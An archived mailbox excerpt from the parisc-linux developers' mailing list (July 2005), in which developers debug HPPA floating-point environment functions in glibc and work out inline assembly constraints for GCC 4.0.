	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: iw2qYrQJeSEkS76WZHQhaXN1IGRvb0CF
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22918

> I think gcc is to blame, or the constraints in the assembly?
> 
> --- GCC 4.0 ---
> 
> 0x40349890 <feclearexcept+0>:   ldo 40(sp),sp
> 0x40349894 <feclearexcept+4>:   ldo -38(sp),ret0
> 0x40349898 <feclearexcept+8>:   stw r19,-20(,sp)
> 0x4034989c <feclearexcept+12>:  fstd fr0,0(,ret0)
> 0x403498a0 <feclearexcept+16>:  fldd 0(,ret0),fr0
> 0x403498a4 <feclearexcept+20>:  ldi 0,ret0
> 0x403498a8 <feclearexcept+24>:  bv r0(rp)
> 0x403498ac <feclearexcept+28>:  ldo -40(sp),sp

PR time.  Please add danglin@gcc.gnu.org to the CC list.

> Notice that it thinks the argument is on the stack? Are the assembly
> constraints confusing gcc?

Probably, but its not clear at the moment.  I think the asm's need
the volatile keyword as they have side effects that aren't known to
gcc (i.e., scheduling might move a floating point operation past
the asm's should the functions be inlined.

Taking a quick look, I see the and has been removed from the initial
rtl generation.  So, this is a tree optimization bug.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Non-inline math, and inline math broken,
	GCC to blame? (1 hppa tls toolchain regression).
Date: Fri, 15 Jul 2005 22:55:26 -0400 (EDT)
Lines: 55
Approved: news@gmane.org
Message-ID: <200507160255.j6G2tRBf006639@hiauly1.hia.nrc.ca>
References: <no.id>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623848 15632 80.91.229.3 (22 Nov 2014 02:37:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:28 +0000 (UTC)
Cc: carlos@systemhalted.org,
 tausq@debian.org,
 parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Jul 2005 02:55:37 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx010) with SMTP; 16 Jul 2005 04:55:37 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A05E67D6D7;
	Fri, 15 Jul 2005 20:55:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18367-10; Fri, 15 Jul 2005 20:55:34 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8FE557D6D8;
	Fri, 15 Jul 2005 20:55:33 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 74FC07D6D5
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Jul 2005 20:55:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18314-08 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Jul 2005 20:55:31 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id D28AF7D6D4
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Jul 2005 20:55:30 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j6G2tRnV006640; Fri, 15 Jul 2005 22:55:27 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j6G2tRBf006639;
	Fri, 15 Jul 2005 22:55:27 -0400 (EDT)
In-Reply-To: <no.id> from "John David Anglin" at Jul 15, 2005 09:54:25 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: fRKqYvIgeSEkeL6WZHQhaXN1IGRvb0Dw
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22919

> > I think gcc is to blame, or the constraints in the assembly?
> > 
> > --- GCC 4.0 ---
> > 
> > 0x40349890 <feclearexcept+0>:   ldo 40(sp),sp
> > 0x40349894 <feclearexcept+4>:   ldo -38(sp),ret0
> > 0x40349898 <feclearexcept+8>:   stw r19,-20(,sp)
> > 0x4034989c <feclearexcept+12>:  fstd fr0,0(,ret0)
> > 0x403498a0 <feclearexcept+16>:  fldd 0(,ret0),fr0
> > 0x403498a4 <feclearexcept+20>:  ldi 0,ret0
> > 0x403498a8 <feclearexcept+24>:  bv r0(rp)
> > 0x403498ac <feclearexcept+28>:  ldo -40(sp),sp
> 
> PR time.  Please add danglin@gcc.gnu.org to the CC list.

Changed my mind.  It's not a GCC bug.  The second asm has to show that
it uses the memory set by the first:

#include <fenv.h>

int
feclearexcept (int excepts)
{
  struct { unsigned int sw[2]; } s;

  /* Get the current status word. */
  __asm__ volatile ("fstd %%fr0,0(%1)" : "=m" (s) : "r" (&s));

  /* Clear all the relevant bits. */
  s.sw[0] &= ~((excepts & FE_ALL_EXCEPT) << 27);
  __asm__ volatile ("fldd 0(%0),%%fr0" : : "r" (&s), "m" (s));

  /* Success.  */
  return 0;
}

I used a struct so that GCC would know exactly what memory was affected.

There is one other issue that I'm not sure about.  I presume that you
used fldd to access the floating-point status register to avoid the
situation where a floating-point identify instruction has been previously
been executed and the status register is in format three.  It's not
clear from the arch whether the fldd returns the result of the identify
or not.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Non-inline math, and inline math broken,
	GCC to blame? (1 hppa tls toolchain regression).
Date: Sat, 16 Jul 2005 12:16:04 -0400
Lines: 58
Approved: news@gmane.org
Message-ID: <20050716161603.GE5314@systemhalted.org>
References: <200507160255.j6G2tRBf006639@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623849 15634 80.91.229.3 (22 Nov 2014 02:37:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:29 +0000 (UTC)
Cc: tausq@debian.org,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Jul 2005 16:16:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx048) with SMTP; 16 Jul 2005 18:16:21 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E98147D6CC;
	Sat, 16 Jul 2005 10:16:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23207-07; Sat, 16 Jul 2005 10:16:17 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F00757D6CF;
	Sat, 16 Jul 2005 10:16:16 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 99B307D6CA
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Jul 2005 10:16:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23207-04 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Jul 2005 10:16:14 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 163E17D6C9
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Jul 2005 10:16:14 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DtpKf-00016h-00; Sat, 16 Jul 2005 12:16:05 -0400
Content-Disposition: inline
In-Reply-To: <200507160255.j6G2tRBf006639@hiauly1.hia.nrc.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (26% Sync Ratio [===.......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: gVerYvRxeSEkQr6WZHQhaXN1IGRvbwCt
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22920

On Fri, Jul 15, 2005 at 10:55:26PM -0400, John David Anglin wrote:
> > PR time.  Please add danglin@gcc.gnu.org to the CC list.
> 
> Changed my mind.  It's not a GCC bug.  The second asm has to show that
> it uses the memory set by the first:

Ah, thank you for the clarification. I'll try to examine the rest of
them and cleanup the assembly.
 
> #include <fenv.h>
> 
> int
> feclearexcept (int excepts)
> {
>   struct { unsigned int sw[2]; } s;
> 
>   /* Get the current status word. */
>   __asm__ volatile ("fstd %%fr0,0(%1)" : "=m" (s) : "r" (&s));
> 
>   /* Clear all the relevant bits. */
>   s.sw[0] &= ~((excepts & FE_ALL_EXCEPT) << 27);
>   __asm__ volatile ("fldd 0(%0),%%fr0" : : "r" (&s), "m" (s));
> 
>   /* Success.  */
>   return 0;
> }
> 
> I used a struct so that GCC would know exactly what memory was affected.
> 
> There is one other issue that I'm not sure about.  I presume that you
> used fldd to access the floating-point status register to avoid the
> situation where a floating-point identify instruction has been previously
> been executed and the status register is in format three.  It's not
> clear from the arch whether the fldd returns the result of the identify
> or not.

Who previously executed the COPR,0,0?

I use the fldd to set the new cleared state of the status register.

If the thread had previously executed 'fstd' followed by a 'copr,0,0'
and had not immediately thereafter executed another 'fstd' then the
operation is *undefined* as per PA 1.1 6-63.

Context switching should save and restore the states properly for this
to work.

I think the arch is very clear about the issue, but perhaps I'm
misreading something. Do you have a case where the above wouldn't work?

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Non-inline math, and inline math broken,
	GCC to blame? (1 hppa tls toolchain regression).
Date: Sat, 16 Jul 2005 13:37:50 -0400 (EDT)
Lines: 24
Approved: news@gmane.org
Message-ID: <200507161737.j6GHboDo009866@hiauly1.hia.nrc.ca>
References: <20050716161603.GE5314@systemhalted.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623849 15635 80.91.229.3 (22 Nov 2014 02:37:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:29 +0000 (UTC)
Cc: tausq@debian.org,
 parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Jul 2005 17:37:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx034) with SMTP; 16 Jul 2005 19:37:59 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E8BE27D6D2;
	Sat, 16 Jul 2005 11:37:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23754-03; Sat, 16 Jul 2005 11:37:56 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4CD067D6D5;
	Sat, 16 Jul 2005 11:37:56 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8499C7D6C4
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Jul 2005 11:37:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23433-10 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Jul 2005 11:37:53 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id E5E397D6A2
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Jul 2005 11:37:52 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j6GHbpnV009868; Sat, 16 Jul 2005 13:37:51 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j6GHboDo009866;
	Sat, 16 Jul 2005 13:37:50 -0400 (EDT)
In-Reply-To: <20050716161603.GE5314@systemhalted.org> from "Carlos O'Donell"
	at Jul 16, 2005 12:16:04 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: riCrYnl+eSEkUL6WZHQhaXN1IGRvb4CW
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22921

> Who previously executed the COPR,0,0?

I dunno, incorrect identify sequence?  I agree the 1.1 arch is specific
about how to do an identify sequence.

> I use the fldd to set the new cleared state of the status register.

I had been wondering if fstw and fldw could be used, but it's an
undefined operation to set T with fldw and fstd clears T, so I believe
your use of fstd and fldd is correct in this sequence.

However, you have to be careful in using fstd to get the fp status
register as it clears T after the insn.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Non-inline math, and inline math broken,
	GCC to blame? (1 hppa tls toolchain regression).
Date: Sat, 16 Jul 2005 13:54:48 -0400 (EDT)
Lines: 32
Approved: news@gmane.org
Message-ID: <200507161754.j6GHsmB3010087@hiauly1.hia.nrc.ca>
References: <200507161737.j6GHboDo009866@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623849 15638 80.91.229.3 (22 Nov 2014 02:37:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:29 +0000 (UTC)
Cc: carlos@systemhalted.org,
 tausq@debian.org,
 parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Jul 2005 17:55:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx045) with SMTP; 16 Jul 2005 19:55:00 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4BB8A7D6E3;
	Sat, 16 Jul 2005 11:54:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23754-09; Sat, 16 Jul 2005 11:54:58 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B1FD87D6E4;
	Sat, 16 Jul 2005 11:54:57 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C01367D6D2
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Jul 2005 11:54:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23613-08 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Jul 2005 11:54:52 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 2DE8B7D6C4
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Jul 2005 11:54:52 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j6GHsmnV010088; Sat, 16 Jul 2005 13:54:49 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j6GHsmB3010087;
	Sat, 16 Jul 2005 13:54:48 -0400 (EDT)
In-Reply-To: <200507161737.j6GHboDo009866@hiauly1.hia.nrc.ca> from "John David
	Anglin" at Jul 16, 2005 01:37:50 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: oiyrYt9FeSEkX76WZHQhaXN1IGRvb0D4
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22922

> However, you have to be careful in using fstd to get the fp status
> register as it clears T after the insn.

And, indeed the following is wrong for the above reason:

#include <fenv.h>

int
fetestexcept (int excepts)
{
  unsigned int sw[2];

  /* Get the current status word. */
  __asm__ ("fstd %%fr0,0(%1)" : "=m" (*sw) : "r" (sw));

  return (sw[0] >> 27) & excepts & FE_ALL_EXCEPT;
}

You need to add a 'fldd' to the asm to restore the T bit.  Another
option might be to use fstw to access the status register in this
situation.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Non-inline math, and inline math broken,
	GCC to blame? (1 hppa tls toolchain regression).
Date: Sat, 16 Jul 2005 14:38:28 -0400
Lines: 34
Approved: news@gmane.org
Message-ID: <20050716183827.GF5314@systemhalted.org>
References: <20050716011432.GD5314@systemhalted.org>
	<200507160154.j6G1sPI0006203@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623850 15641 80.91.229.3 (22 Nov 2014 02:37:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:30 +0000 (UTC)
Cc: tausq@debian.org,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Jul 2005 18:38:43 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx018) with SMTP; 16 Jul 2005 20:38:43 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A41A47D6E6;
	Sat, 16 Jul 2005 12:38:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24119-10; Sat, 16 Jul 2005 12:38:40 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 109417D6E7;
	Sat, 16 Jul 2005 12:38:40 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B6E437D6E4
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Jul 2005 12:38:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24119-07 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Jul 2005 12:38:36 -0600 (MDT)
